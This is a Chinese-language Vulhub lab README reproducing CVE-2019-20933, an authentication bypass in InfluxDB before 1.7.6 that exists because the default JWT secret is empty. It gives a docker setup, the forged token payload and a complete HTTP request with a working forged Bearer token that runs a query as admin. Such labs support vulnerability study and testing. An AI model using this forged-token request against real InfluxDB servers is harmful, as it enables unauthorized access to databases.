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vulhub/influxdb/CVE-2019-20933/README.zh-cn.md
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InfluxDB JWT 认证绕过漏洞CVE-2019-20933

InfluxDB是一款著名的时序数据库其使用jwt作为鉴权方式。

在其1.7.6版本以前默认设置jwt的认证密钥shared-secret为空字符串导致攻击者可以伪造任意用户身份在InfluxDB中执行SQL语句。

参考链接:

漏洞环境

执行如下命令启动InfluxDB 1.6.6

docker compose up -d

环境启动后,访问http://your-ip:8086/debug/vars即可查看一些服务信息但此时执行SQL语句则会出现401错误

漏洞复现

我们借助https://jwt.io/来生成jwt token

{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "username": "admin",
  "exp": 1676346267
}

其中,admin是一个已经存在的用户,exp是一个时间戳代表着这个token的过期时间你需要设置为一个未来的时间戳。

最终生成的token

发送带有这个jwt token的数据包可见SQL语句执行成功

POST /query HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyOTg2MzQ2MjY3fQ.LJDvEy5zvSEpA_C6pnK3JJFkUKGq9eEi8T2wdum3R_s
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

db=sample&q=show+users